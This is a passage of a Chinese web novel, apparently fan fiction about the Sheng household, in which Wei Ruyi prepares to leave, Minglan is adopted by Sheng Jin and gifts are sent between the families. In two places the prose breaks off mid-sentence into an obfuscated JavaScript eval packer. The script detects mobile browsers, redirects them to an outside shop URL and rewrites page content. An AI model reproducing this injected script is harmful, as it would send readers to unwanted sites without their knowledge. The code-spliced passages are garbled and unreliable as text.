卫如意闻言,没有解答小蝶的疑惑,而是看向小蝶身旁的两个丫鬟,语气柔和,道:“你们叫什么名字?” 两个丫鬟对着卫如意行了一礼,依次出言道:“小娘,奴婢是三等女使采露。”“小娘,奴婢是三等女使盼秋。” 卫如意点了点头,脸上带着一丝笑意,道:“你们将这些布匹收起来后,去将院子打扫一下吧,明儿,你去奶娘那里看看你弟弟。”王若弗再怎么不在意盛纮的庶子,但盛家刚出生的孩子都是要找奶娘的,当然,你若是不想要她找的奶娘也可以自己出钱找或是自己喂,例如林噙霜的子女的奶娘就是她自己找的。 盛明兰闻言,点了点头,便跑去找她弟弟了,而小蝶也看出卫如意有意支开盛明兰、采露、盼秋,她指了指最里面床边的一个箱子,道:“你们两个将布匹放在最里面那个箱子,然后便去扫外头的院子,小娘累了,若是我不出去叫你们,你们便不用进屋。” 采露和盼秋闻言,安静的按照小蝶的吩咐,将这些布匹都放好后去打扫院子了,而卫如意在她们出去后不久便开口将白滢婷来的事情简短的告诉了小蝶。 小蝶听完后,心中涌起一股酸涩,道:“我就说嘛,为什么大娘子那边突然对我们这么好,感情是看着我们家姑娘哥儿要过继给老太太当嫡亲孙子孙女才献得殷勤啊!可是一想到小娘你要离开盛家,我这心里就难受。”她说着眼泪瞬间从眼角滑落,不一会儿,便泪流满面了。 卫如意温柔的为小蝶擦拭脸上的泪水,脸上扬起淡淡的微笑,道:“傻丫头,哭什么,你应该为我感到开心才是,你又不是不知道我,我本就是为了给家人治病,才卖身过来换药钱的,既没有大娘子的显赫家世,也没有林小娘得主君宠爱,更不愿意放下自己所学过的东西去争宠,所以在盛家生活的这些年里我只能谨小慎微,如今能离开这里,我真的很高兴,再说了明儿姐弟和你都被安排好了,我也没有什么不放心的了。” 卫如意看着小蝶,语气柔和的安抚,道:“乖,别哭了,等我走后,明儿就是国公府嫡长女,哥儿也是老太太嫡亲幼孙,你呢,也是嫡长女身边最亲近的女使,这多好啊!你该开心才是。” 小蝶有些哽咽道:“我知道我不应该感到伤心,我应该为小娘高兴才是,但我又伤心以后再也见不到小娘了,对了小娘,你想好如何和六姑娘说了吗?六姑娘那性子倔,她不一定会同意的。” 卫如意闻言,叹了口气,道:“早晚都是要告诉明儿的,与其让她在其他人口中听个只言片语,胡乱猜测,还不如我一五一十告诉她,我打算今晚和她好好聊聊,她性子倔也能明白过来的,至于小蝶你就不要太过于伤心了,以后有缘还是会见的,再说了我给你地址,有空时可以来看我或是给我写封信也行。” 小蝶听着卫如意的话,知道卫如意是为了安抚她才这么说的,为了不浪费卫如意的好心,她哽咽的回道:“嗯,我知道了小娘。” 夜晚,卫如意将盛明兰抱在怀中,说了好久的话,这些话只有他二人知道,只是第二天小蝶看到卫如意和盛明兰的眼眶有些肿,便知二人昨夜应该哭过,她也不好多问什么,只是伺候卫如意和盛明兰起床梳洗打扮。 没过几天,卫如意就得到了林噙霜被送往庄子的消息,她听说林噙霜在送去庄子时,盛纮下令让东荣打了林噙霜二十棍,便知在盛纮心中林噙霜远不如盛瑾来得重要,想来以后盛纮也会为着盛瑾对盛明兰姐弟好的,她这般想着,心里也多了几分安定。 不过要说林噙霜被送走前挨棍子谁最开心,莫过于王若弗了,这些天她可是加班加点的去完成盛纮交代的事情,为的不就是早些送林噙霜离开盛家嘛,现下林噙霜离开盛家前挨棍子对于她而言简直是意外之喜啊!高兴得她拉着刘妈妈说了好一会儿的话呢,而盛瑾那边得知林噙霜被送到庄子上后,便告诉了盛老太太这个消息。 盛老太太闻言,眼中闪过一丝冷笑,道:“瑾儿,你这庶弟是既想要你这个嫡兄,又想要他那个宠妾,如今这般也不过是做做样子给你看罢了。” 盛老太太语气中带着一丝嘲讽的意味,道:“给林噙霜行刑的是东荣,东荣的祖父是衙役当差出身的,他手上是有祖传手艺的,林噙霜这顿棍子怕是内里乾坤吧,至于庄子也是在扬州城附近,你那庶弟怕是升任汴州时也要在汴州城外找个庄子安顿好他的林噙霜吧。” 盛瑾脸上的表情看不出喜怒,语气淡然,道:“他只要不让林噙霜出现在我眼皮子底下,其他的我就睁一只眼闭一只眼过去了,毕竟他真心实意的宠了林噙霜这么多年,如今一下子让他割舍想必也是不可能的,不过他好歹知道做做样子弥补因林噙霜与我起的隔阂,想来还是没有完全被林噙霜迷晕过头的。” 盛瑾一直都知道想让盛纮放弃林噙霜,除非林噙霜真的做出威胁盛纮或盛家的事情,要不然,盛纮是不可能真的放弃林噙霜的,所以他也不想管盛纮的小心思了,左右林噙霜在庄子上,盛纮每月也见不到她几次,她想影响盛纮或做什么事情也是能力有限。 盛老太太听出了盛瑾话中的不在乎,她看着盛瑾,眼中充满了柔和,道:“瑾儿,你是不在乎这些事情,但我们不能让你庶弟将你当成傻子一般对待,不如,等卫小娘离开盛家,我们带着两个孩子去宥阳老家回来后,再正式去盛家见一见你的侄子侄女们,也算给你庶弟一些警告吧。” 盛瑾对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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房嬷嬷听着盛老太太的话,脸上的笑意更浓了,她语气中带着一丝调侃,道:“老太太您对大娘子真是不错啊!这时候都不忘了给大娘子送好东西啊!” 盛老太太被房嬷嬷打趣的脸上浮现一抹羞红,语气中带着一丝恼羞成怒的意味,道:“你说完了嘛,说完了就去找人给我送些茶水来,我渴了。” 房嬷嬷满脸笑容的点头附和道:“是,老奴这就下去找人给老太太准备茶水,随便在给老太太准备一些您喜欢的糕点。” 房嬷嬷说完便在盛老太太恼羞成怒的目光中退出了房间,她抬头看着天空,心里不由的想道:“老太太的日子是越过越有盼头了,对了,等去看完哥儿后,要抽空去庙里给老太太还愿。”毕竟前不久她祈求上天保佑盛瑾和盛老太太顺利相认,现下也是时候去寺庙还愿了。 盛瑾动作很快,三天后,房嬷嬷随着盛瑾的人带着一车的东西和盛瑾的信来到了盛家,卫如意看着房嬷嬷带着一堆东西来到她的院子,脸上带着些许惊讶的表情,随即眼中闪过一丝担忧,而一旁的小蝶和采露盼秋已经被惊呆在了原地。 房嬷嬷看到了卫如意眼中一闪而过的担忧,她满脸和善的解释道:“卫小娘,这些东西中的五匹锦缎和三十两银子是老太太给的,其余的都是盛国公那边给两个孩子准备的。”言外之意是让卫如意放心将这些东西收下。 卫如意心里松了口气,她在盛家生活了这么久,王若弗是个什么性子,她不说一清二楚,但大抵还是了解一二的,她收下盛瑾的东西和收下盛老太太的东西对于王若弗而言可是不一样的,更何况这些东西数量众多。 卫如意脸上浮现出淡淡的微笑,语气恭谨,道:“那妾身就替两个孩子谢过老太太和盛国公的心意了,对了,哥儿刚醒过来没多久,房嬷嬷可要随妾身一同去看看嘛。”她心里清楚房嬷嬷此行肯定不止是送东西的。 房嬷嬷闻言,脸上的笑容带上了几分真诚,道:“那可真是巧了,今个出门前老太太和国公爷还嘱咐我替他们好好看看哥儿呢。” 卫如意自然能听出房嬷嬷话中的意思,她不由自主的想道:“瞧着老太太和盛国公对明儿姐弟是上了心了,上心就好,怕的就是他们不上心。” 卫如意用眼神示意小蝶,一旁呆愣住的小蝶回过神来,拉着采露和盼秋指挥着房嬷嬷带来的人将东西搬到另一件屋子里清点,毕竟这么多东西不可能全部放在卫如意的屋子内,只能暂时先放在这个屋子里,等她们清点出贵重物品,再将这些个贵重物品挪到卫如意房里放置。 卫如意这边看到小蝶有了回应后,便将房嬷嬷带到了她的屋内后,将哥儿抱了出来,一同出来的还有盛明兰。 卫如意将哥儿递给了房嬷嬷,房嬷嬷接过卫如意手中的哥儿,她一边看着怀中可爱的小婴儿,一边看着站在卫如意身旁的盛明兰,心中不由自主的感慨道:“这卫小娘可真会生,生的两个孩子都长得这么好啊!” 房嬷嬷抱着哥儿逗了好一会儿后,将哥儿还给了卫如意,她瞧着卫如意的表现,心里十分满意,于是她眼含笑意的给了卫如意一颗定心丸,道:“国公爷和老太太最是通情达理的,他们念着卫小娘你不久就要离开盛家了,便想着不要打扰你们这段相处时间,等卫小娘你离开盛家后,国公爷和老太太即刻就带着两个孩子回宥阳老家改族谱,至于哥儿的名字,国公爷和老太太还需要深思熟虑后决定。” 卫如意自然听出了房嬷嬷话中的意思,过继这事是板上钉钉的,谁也改不了,不过,她还是想让盛明兰多与盛瑾他们见面,为的是她能从盛明兰口中了解盛明兰对盛瑾一行人的感觉,这样她也能安心的离开盛家。 卫如意看着房嬷嬷,眼中闪过一丝坚定,道:“老太太和国公爷的好意,妾身心领了,但妾身想让明儿亲自去感谢老太太和国公爷,不知可否。” 房嬷嬷脸上的笑意没有丝毫变化,心里暗叹道:“也不知道大娘子从哪找来卫小娘这般聪慧之人,可惜了,人虽聪慧,但心气高,要不然也不会在盛家混到这种地步。” 房嬷嬷没有斩钉截铁的拒绝卫如意,只道:“这件事我会告知老太太和国公爷的,一切有老太太和国公爷决定。” 卫如意听着房嬷嬷的话也不好说什么了,而房嬷嬷也起身准备离开了,卫如意见状便将房嬷嬷送出了院子,而离开卫如意院子的房嬷嬷按照盛老太太的吩咐将白玉簪子送去给了王若弗。 卫如意回到屋内,盛明兰突然抱着她,一时之间,她竟有些不知所措,过了一会儿,她抱起盛明兰坐在椅子上,轻声道:“明儿,你还记得小娘交过你的话吗?” 盛明兰语气中带着一丝哽咽,道:“记得,以后我就是二伯父的女儿了,弟弟是大伯父的儿子,我们和娘亲没有关系了,女儿和弟弟要好好孝顺二伯父和祖母。” 卫如意此时没有纠正盛明兰口中“娘亲”二字,她擦拭着盛明兰眼角的泪水,语气中带着安抚,道:“明儿不要难过,这是小娘的选择,离开盛家,小娘会过的更开心,所以你不用为小娘难过。” 盛明兰把头埋在卫如意的怀里,此时的她无法理解卫如意为什么一定要离开盛家,但是她知道卫如意是真的想要离开盛家的,于是她哽咽的回道:“嗯。” 另一边的小蝶一边整理东西,一边在心里暗叹道:“这段日子可算见识到什么是一人得道鸡犬升天了,自从六姑娘变成了国公爷的女儿后,大娘子那边对我们这个院子的态度可不是一般的好啊!连带着那些个女使小厮们对我们这个院子的态度也来了个翻天覆地大转变。” 小蝶看着这整理出来的东西,心里想道:“瞧着这些个东西,可见六姑娘和七哥儿未来的日子也差不到哪去,或许小娘是对的吧。”而房嬷嬷回去后也将卫如意的话传给了盛老太太,盛老太太再三思考过后与盛瑾商量着过些天将盛明兰接到白家来,盛瑾对此没有反对,毕竟等卫如意离开盛家,两个孩子就要被接到白家来了,早点熟悉一下也好。 第 40 章 清晨,盛明兰被盛瑾派去的人从盛家接到了白家,她一进到盛老太太所在的院子就看到了房嬷嬷笑意盈盈的迎上来,道:“大姑娘来了,老太太和县主、白老爷都在屋里等着大姑娘你呢。” 房嬷嬷很巧妙的改口称盛明兰为大姑娘,以此为盛明兰增添了几分底气,更何况她也没有任何错处,毕竟这位六姑娘以后就是丰国公府名副其实的嫡长女了,按盛瑾这一房来说,可不就是大姑娘嘛,更何况盛明兰是肯定要养在盛老太太膝下的,她也乐意为盛明兰抬高身份。 盛明兰听到房嬷嬷说的人中有她从未见过的白老爷,心中不禁有些许紧张,可她想到卫如意的嘱咐,壮着胆子,糯糯的问道:“父亲没有来吗?” 房嬷嬷愣了一下,随即反应过来盛明兰这声父亲指的是盛瑾,她脸上的笑容又灿烂了几分,不难看出盛明兰的这声“父亲”让她原本的好心情变得更加美好了,她心里不由自主的想道:“这位卫小娘是个聪慧的,也省了国公爷和老太太的麻烦。” 房嬷嬷眼角带着笑意,语气柔和的为盛明兰解释道:“国公爷还有些事情要处理,等事情处理完后便会来见大姑娘的。” 房嬷嬷见盛明兰点了点头,神态有些许紧张,忍不住的安抚道:“大姑娘莫要紧张,屋内都不是什么旁人,老太太和县主你都是见过的,最是和善了,而白老爷也不是什么难相处的人,大姑娘且放宽心吧。” 房嬷嬷的话并没有让盛明兰紧张的心情缓和多少,但她还是对着房嬷嬷轻声道:“房嬷嬷,我知道的。” 房嬷嬷看出她的话对盛明兰没有多少效果,便也不好再多说什么,只道:“那大姑娘就随老奴进来吧。”说完便领着盛明兰往屋内走去。 盛明兰一进屋子便看到盛老太太和白滢婷说说笑笑的,一旁坐着一位神采奕奕的老者,她不用猜都知道这就是房嬷嬷口中的白老爷。 盛老太太和白滢婷见盛明兰走进来便停止了说笑,盛老太太看着有些拘谨的盛明兰,率先出言道:“明儿来了。” 盛明兰听到盛老太太的话,上前对着盛老太太和白滢婷以及一旁的白老爷行了一个歪歪扭扭的礼,语气中带着一点小奶音,道:“祖母,金安,白老爷,慈安,县主,懿安。” 盛老太太对盛明兰行礼的姿势没有异议,毕竟你不能要求一个五岁的孩子如同大人一般标准的行礼吧,她面带微笑的对着盛明兰,道:“好,我们明儿真懂事。” 白滢婷看着盛明兰,眼中充满了喜爱,道:“是啊!我们明儿就是好,不过,明儿,如今你该称呼我为白姑母,父亲为白祖父才是。” 盛明兰对白滢婷的话有些犹豫,她看了一眼盛老太太,见盛老太太微微点了点头,便随着白滢婷的话,再次说道:“白祖父,金安,白姑母,懿安。” 白滢婷听着盛明兰的话,脸上的笑容又多了几分,上前拉过盛明兰,抱在怀中,亲切的说道:“好好好,我的好侄女。” 一旁打量着盛明兰的白老爷嘴角微微弯起,脸上严肃的表情也变得柔和很多,显然他对盛明兰的称呼很满意,他瞧着盛明兰那与盛长轩小时候九分相似的外貌,心里不免对盛明兰多了几分爱屋及乌的心态。 白老爷看了一眼身旁的丫鬟,丫鬟随即将手中的盒子放在桌子上,他对着白滢婷怀中的盛明兰微微一笑,语气柔和,道:“明儿,过来白祖父这里,白祖父有东西要给你。” 盛明兰看向表情和善的白老爷,眼中闪过一丝犹豫,她又抬头看了一眼盛老太太,只见盛老太太笑而不语,此时白滢婷已经将盛明兰从她的怀中放了出来,轻声细语道:“去吧,明儿。” 盛明兰心里壮了壮胆子,不由自主的挺了挺她的小胸膛,然后朝着白老爷走去,直到距离白老爷一米处才停下,整个过程颇有壮士断腕的气势。 白老爷看着这样的盛明兰,脸上多了几分笑意,他打开盒子对着盛明兰,语气中带着一丝柔和,道:“明儿,再过来些。” 盛明兰闻言再走进了几步,白老爷从盒子中取出一副玉锁给盛明兰带上,那玉锁洁白细腻,呈现半透明的状态,且温润有质感,饶是盛老太太也极少见过这样的极品羊脂玉,而玉锁的项圈是赤金制成的。 白滢婷无视盛明兰被吓了一跳的表情,对着白老爷调笑道:“这玉锁瞧着着实是不错,虽比不上哥哥给轩轩他们的暖玉制成的玉锁,但到底也是少有的羊脂玉,父亲怕是将压箱底的东西都找出来给明儿了吧。” 白老爷没有反驳白滢婷的话,只是笑着道:“无妨,等瑾儿回汴州城肯定会再给明儿一副玉锁的,我记得瑾儿说过轩轩几兄弟的玉锁都是出至同一块料子的,那料子如今还有好大一块,等我们回了汴州城,瑾儿八成会找人给明儿雕一副玉锁,没道理轩轩兄弟几个有的,明儿没有吧,到时候明儿也能换着戴。” 白老爷说着,脸上的笑意又浓了几分,他止不住的打量着盛明兰,道:“我瞧着这玉锁和明儿挺配的,只是这做工还不够精致,要是明儿再晚些上门,这玉锁还能雕的更精致些。”这话说的着实是有几分暴发户的气质了。 盛老太太看着还愣在原地的盛明兰,眼中闪过一丝笑意,道:“白大哥真是大手笔啊!瞧这惊喜让明儿都呆在原地不知如何感谢你了,明儿,还不快谢谢你白祖父。” 年幼的盛明兰从盛老太太的话中得知自己可以收下白老爷的东西,她回忆着出门前卫如意嘱咐过她要听盛老太太的话,便对着白老爷扬起一个甜甜的笑脸,道:“谢谢白祖父,明儿很喜欢这副玉锁。” 白老爷瞧着盛明兰这熟悉的乖巧样子,心中对盛明兰的喜爱又多了几分,而盛老太太和白滢婷因着盛明兰的存在,她们与白老爷聊的话题也转向了盛长轩兄弟几个小时候的事情,屋内的气氛也变得愉悦了几分,尤其是身旁还有一个盛明兰这样乖巧的小姑娘用充满好奇的眼神看着你,这让盛老太太她们越聊越起劲了。 正当盛老太太她们聊的起劲时,盛瑾的声音突然传了进来,道:“母亲、义父、妹妹你们在聊什么呢?尽然聊的这么开心。” 盛明兰冲着声音的方向看去,不一会儿就看到了盛瑾,她不由自主的打量着盛瑾的长相,此时年幼的盛明兰脑海中只有一个词“好看”,她从来没见过像盛瑾这般好看的人,若是她开始读书习字,必定会想起一句话来形容盛瑾,那就是陌上人如玉公子世无双。 盛老太太看着走进来的盛瑾,满眼慈爱,语气柔和,道:“瑾儿,你来了,我们正在聊轩轩几兄弟小时候的事情呢。” 盛瑾听着盛老太太的话,心里不由自主的为盛长轩兄弟几个默哀了几分钟,他可不觉得长辈聊晚辈小时候的事情时不会聊到他们的糗事。 盛瑾脸上挂着一抹淡淡的微笑,语气中带着一丝调笑,道:“我想轩轩他们若是知道母亲你们在聊他们小时候的事情,怕是要羞红了脸吧。” 盛明兰此时还沉浸在盛瑾的美貌中,全然没有震惊于盛瑾是如何用温儒尔雅的气质来说出这般调笑的话语的,过了一会儿,她才反应过来,自己因为沉浸在盛瑾的美貌中而忘了给盛瑾行礼问安了,她见在场的人都没有说话,便壮着胆子,满脸通红的对盛瑾行了礼,道:“父亲,万安。”只不过那声父亲有些小声,不过,在场的人都听见她那声父亲了。 盛瑾因着盛明兰的那声父亲,眼中闪过一丝惊讶,虽然他是要过继盛明兰为女儿,但是他并没有想到盛明兰会这么快改变她对他的称呼,因为在盛明兰的认知里盛纮才是她的父亲,想改变小孩子的认知是很难的,而且他也不想勉强盛明兰立马叫他父亲,毕竟他和盛明兰以后住在一起的时间还很长,父女感情可以慢慢培养,他相信总有一天盛明兰会心甘情愿叫他父亲的,因此盛明兰的这声父亲对于他而言属实是意外之喜,不过,他很快就猜到卫如意必然在这里面出了大力气,要不然盛明兰不可能这么快改口的。 盛明兰看着因思考而没有反应的盛瑾,还以为盛瑾不喜欢她叫他父亲呢,心里有些委屈,又不敢抬头。 盛老太太看着因盛瑾没有反应而有些沮丧的盛明兰,轻声的咳了一声来提醒盛瑾,而盛瑾也如盛老太太所愿回过神来,他看着有些沮丧的盛明兰,脑海中闪过一个想法也付出了行动。 突然,盛明兰惊呼了一声,只见盛瑾一把将她抱了起来,这让年幼的她受到了不小的惊吓,毕竟谁能想到上一秒不理人的盛瑾在下一秒会将她抱起来呢。 盛明兰因着惊吓双手紧紧地抱着盛瑾的脖子,盛瑾见状,眼中闪过一丝笑意,语气柔和,道:“明儿,不要叫我父亲,叫我一声爹爹,乖,爹爹的好女儿,再叫一声爹爹,等回了汴州城,爹爹带你去樊楼吃好吃的。” 盛明兰抱着盛瑾的脖子,把头埋在盛瑾的脖子上,她闻到了一丝淡淡的香味,过了一会儿,她才害羞的轻声道:“爹爹。”她能感觉到盛瑾对她的亲近。 盛明兰很少有被盛纮抱过的时候,也许小时候盛纮有抱过她,但是她不记得了,其实盛明兰心里还是很渴望父爱的,此时她的心里不由自主的想道:“好温暖啊!原来这就是有爹爹抱的感觉啊!” 后来即使是长大后的盛明兰依旧记得那时盛瑾抱她时,给她带来的温暖,就是这个怀抱打破了盛明兰和盛瑾之间的隔阂和陌生,盛瑾就像是一束光,照亮着盛明兰余下的所有时光,给了盛明兰所渴望的父爱。 盛瑾听着盛明兰的这声爹爹,脸上的笑意更浓了几分,抱着盛明兰走到盛老太太面前,语气中带着一丝喜悦,道:“母亲,你听到明儿叫我爹爹了吧。” 盛老太太实在没想到自己镇定自若、气质不凡的儿子还有犯傻的一面,但她觉得此时的儿子多了几分可爱,便附和道:“我听见明儿喊你爹爹了,瞧把你高兴成这样。” 盛瑾没有反驳盛老太太的话,只是眼含笑意,道:“母亲,我想带着明儿在院子里走一圈,你和义父妹妹先聊着。” 盛老太太微微点了点头后,盛瑾便抱着盛明兰绕着盛老太太的院子走了一圈,他让盛明兰叫他一声爹爹后,他回了盛明兰一句“嗯”,盛明兰接着不知怎么了又叫了他一声爹爹,他也嗯了一声,于是便出现了父女俩像是在玩游戏一般的场景,谁也没有停下来,直到绕着盛老太太的院子走完一圈,盛明兰和盛瑾还一副意犹未尽的样子。 白老爷瞧着抱着盛明兰走进来的盛瑾,对着盛瑾调笑道:“瑾儿,你这多了一个女儿,心态像是年轻了十几岁一般。” 白滢婷脸上的笑容十分灿烂,道:“父亲,哥哥这是和明儿投缘呢,再说了,俗话说的好,姑娘比哥儿贴心,哥哥得了个贴心的女儿能不高兴嘛。” 盛瑾听着白滢婷和白老爷的话,脸上的笑容没有丝毫变化,他蹭了蹭盛明兰红扑扑的小脸蛋,底气十足的回怼白老爷,道:“义父,你对妹妹的宠爱可没比我少多少。” 白滢婷笑着看白老爷如何回怼盛瑾,结果白老爷只来了一句“瑾儿说的是,不过先前我们家都是哥儿,如今得了个姑娘,自然是姑娘更金贵些了。” 盛老太太看着这温馨的场面不由的笑了笑,她语气柔和,道:“好了,快到用膳时间了,不能饿着明儿。” 盛老太太这么说,盛瑾和白老爷白滢婷才发觉时间过的这么快,已经到了用膳的时间,于是他们与盛明兰一起用膳后,盛明兰和盛老太太白滢婷待在一起,而盛瑾和白老爷一同出了盛老太太的院子。 盛瑾和白老爷走在路上时,白老爷眼角带着一丝笑意,道:“明儿倒是和轩轩小时候一样乖巧可爱啊!” 盛瑾脸上带着淡淡的笑意,语气柔和,道:“是啊!以轩轩的性子八成会喜欢明儿这个妹妹的。” 白老爷听着盛瑾的话,突然想起了除了在家的顾廷炜知道盛明兰姐弟过继的事情外,远在书院的顾廷烨和远在边疆的盛长轩都不清楚,毕竟顾廷烨在盛瑾醒后便被塞回书院了,于是他语气中带着一丝调笑的意味,询问盛瑾道:“瑾儿,你打算什么时候告诉轩轩你过继女儿的事情呢?若是不提前告知轩轩他多了个乖巧的妹妹,等他回来被打个措手不及时,他怕是要和你闹一场了。” 盛瑾实在想不出盛长轩和他闹的场景,毕竟盛长轩从小到大和他嬉闹的次数屈指可数,但他还是顺着白老爷的话开玩笑道:“轩轩闹就闹吧,毕竟那小兔崽子当初也没通知我,就给我弄回来一个金尊玉贵的孩子,跟他比起来,我这真是小巫见大巫了,更何况他从小就想要个妹妹,我这也是在满足他的心愿嘛。” 白老爷听着盛瑾的话,语气中带着一丝无奈的笑意,道:“你啊!你,轩轩这么大也就干过这一件出格的事情,你这个当父亲的居然记到现在,属实是孩子气了,不过过继这种大事还是要告诉轩轩和烨儿才是。” 盛瑾见白老爷这么说,嘴角更弯了,他语气中带着一丝笑意,道:“义父,你以为我今天早上在书房干嘛呢,我已经将在扬州城发生的所有事情写在信中寄往边疆了,顺带还寄了一封信回汴州城的丰国公府,让管家将我库房中当初云儿怀胎时给姑娘准备的东西寄来扬州城。” 白老爷没有在意盛瑾逗自己的事情,他有些惊讶于盛瑾居然寄信到汴州城让丰国公府管家寄东西,他语气中带着一些惊讶,道:“是轩轩未出世时准备的那些东西吗?” 盛瑾面带微笑,语气平淡的叙述道:“对,既然明儿要记在云儿(慕卿云)名下,那这些东西自然也是明儿的。” 白老爷本来心里就有了答案,但他听到盛瑾这么说心里还是忍不住震惊了一下,慕卿云怀盛长轩时,盛瑾因着不知道胎儿是男是女,所以准备的东西都是双份的,其中给女儿准备的东西足足有三大箱之多啊!其中不乏有盛瑾特意让珠翠楼按照大人款式改小的首饰、各种珍宝玩意等,最重要的是这东西象征着盛瑾对盛明兰的重视。 白老爷想到这里,不禁想起盛明兰那酷似盛长轩的样貌,心里不由自主的想道:“不知道明儿长大了会不会像媳妇呢?”一想到慕卿云,他心里就涌起一股惋惜,毕竟慕卿云对他、对白滢婷都是极好的。 白老爷在心里暗叹道:“若是媳妇还在,她肯定会喜欢明儿这般乖巧的女儿吧,唉,可惜媳妇走的早啊!” 白老爷想着慕卿云,脸上的笑容淡了些,但他很快又缓过神,语气中带着一丝笑意,道:“既然瑾儿你这个做父亲的出手如此大方,那我这个当人家祖父的也不好落后,我去库房看看有什么好东西能给我的乖孙女用,好歹这是我唯一的孙女,亏待谁都不能亏待我的宝贝孙女。” 白老爷说这话不光是想让盛瑾察觉不到他之前的几分低落情绪,还有几分对盛明兰的真心在,毕竟盛瑾是白老爷的义子,他的女儿可不就是白老爷的孙女嘛,再加上白老爷与盛明兰的短暂相处,让他很难不对这么个乖巧可爱的姑娘上些心。 盛瑾听着白老爷的话,脸上的表情没有丝毫变化,但语气中夹杂着一丝笑意,道:“义父,你想如何就如何吧,不过,麻烦您让管家将我前些天准备的东西开始装在明儿马车上吧,我估摸着要不了多久,明儿就得回盛家了。” 白老爷摸了摸胡子,嘴角微微弯起,道:“这件事情你就放心吧,我在你准备的东西上再添了几层,以表我们对明儿姐弟的看中。” 盛瑾想起盛明兰脖子上的玉锁,不难猜出是白老爷送的,不是他看低盛家啊!若是盛家有这等好东西绝对落不到一个不得宠的庶女身上,即使盛明兰要过继给他,一时半会盛家也不会有人想到要给盛明兰准备这种东西,他颇有些不好意思道:“明儿脖子上的玉锁着实让义父费心了,这些个东西就没必要让义父再出银钱了,到时候义父让管家报个账目给我,我给义父添上银钱。” 白老爷看着盛瑾的眼神充满了笑意,语气柔和,道:“瑾儿,这点东西你还要和义父算清楚嘛,明儿也是我孙女,为她做些事情也是应该的,再说了,你刚才还说我想怎么样就怎么样,如今还没过多久便想反悔嘛,瑾儿,这可不是君子所为啊!不过,若是瑾儿真的过意不去,不妨再给明儿一副如轩轩他们那般的玉锁,毕竟我之前可是和明儿说过你会给她准备一副玉锁的,你可不要让我在孙女面前失言啊!” 盛瑾闻言,也不好再和白老爷过多客气了,便笑着道:“义父,放心,既然轩轩他们都有这副玉锁,我也会给明儿姐弟都准备一副玉锁的。”其实就算白老爷不说,他也会给盛明兰姐弟准备的,毕竟这种玉锁他和白滢婷一脉都有。 其实盛瑾还让丰国公府管家给他寄了十几个大箱子以便他夹带空间里的物品,毕竟他也要准备一些东西给宥阳老家的堂侄子侄女,而且从宥阳老家回扬州城正式拜访盛家时也要给盛纮的儿女准备见面礼,这些东西都是要盛瑾提前准备好。 白老爷对于盛瑾的话十分满意,突然,他想起被遗忘的顾廷烨还不知道过继的事情,暗道:“等一下准备好东西后,还是要让婷儿派人去信告知一下烨儿这件事情。” 盛瑾和白老爷这边达成了一致后,房嬷嬷带着盛明兰离开白家回盛家时便多了一辆马车,马车上除了白老爷给盛明兰准备的东西外,还有一些首饰布匹、文房四宝,这些都是他和盛瑾给王若弗、盛纮、盛华兰、盛如兰、盛墨兰、盛长枫、盛长柏准备的,他们想着就算是盛长柏不在盛家也不能少了盛长柏那份,毕竟这样很容易引起王若弗的不满。 等房嬷嬷带着盛明兰回到盛家时,这辆马车还是引起了盛家众人的震惊,毕竟盛家的丫鬟小厮可都是看到盛明兰两手空空坐着一辆马车离开的,这怎么回来时带了一马车的东西呢。 王若弗不一会儿便得到了动静,当她得知是房嬷嬷送盛明兰回来时便起身去大厅了,毕竟盛老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8591108|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太太离开盛家多日,她作为媳妇也该向盛老太太的心腹打听一下盛老太太的情况,以此表示她作为媳妇对婆婆的关心。 本来王若弗收拾好心情正打算以最热烈的情感迎接房嬷嬷时,她看到了盛明兰胸前那极品羊脂玉制成的精致玉锁,脸上的表情瞬间破防了,她皮笑肉不笑道:“明儿回来了,瞧这去了一趟白家就贵气了许多啊!” 房嬷嬷自然听出王若弗话中的酸味,她看到王若弗的眼神停留在盛明兰胸前的玉锁上,便猜出王若弗八成以为这玉锁是盛老太太送给盛明兰的,她笑着为盛明兰解释道:“瞧大娘子说的,我们盛家哪个姑娘不贵气呢,今天白老爷和端淑县主还说我们盛家的姑娘教养好呢,对大姑娘更是稀罕的不行,这不,白老爷转手就给大姑娘准备了一副玉锁,说是祖父给孙女的见面礼呢,对了,国公爷还给您和主君以及我们盛家的姑娘哥儿准备了礼物,全在马车上等着大娘子派人去取呢。” 房嬷嬷的话让王若弗因盛明兰那副玉锁起得妒意消散了不少,但她对房嬷嬷的热情也消减了几分。 王若弗在与房嬷嬷客套的聊了几句有关盛老太太的事情后,表达了对盛瑾的感谢,没过多久,房嬷嬷便提出了要离开盛家的想法,她就派人将房嬷嬷送出了盛家。 王若弗看着离去的房嬷嬷,又看向一旁有些紧张的盛明兰,她属实是没有什么心情去应付盛明兰,尤其是在她看到马车上有一半的东西是属于盛明兰时就更没有心情了,于是她便直接吩咐丫鬟将盛明兰送去卫如意的院子,与盛明兰一同到达卫如意院子的还有那辆马车上属于盛明兰的东西。 王若弗看着眼前这些给她和盛纮以及盛华兰兄妹几个的东西,脑海中不禁想起盛明兰胸前的那副玉锁和半个马车的东西,心里泛起一阵酸涩,道:“瞧瞧这还没过继呢,就这般偏心,等过继后怕不是要宠上天了。” 刘妈妈在一旁安抚王若弗,道:“大娘子,国公爷和白老爷的情谊非比寻常,这国公爷和端淑县主膝下又都是哥儿,六姑娘过继后就是那边唯一的姑娘了,白老爷和国公爷自然心疼些的。” 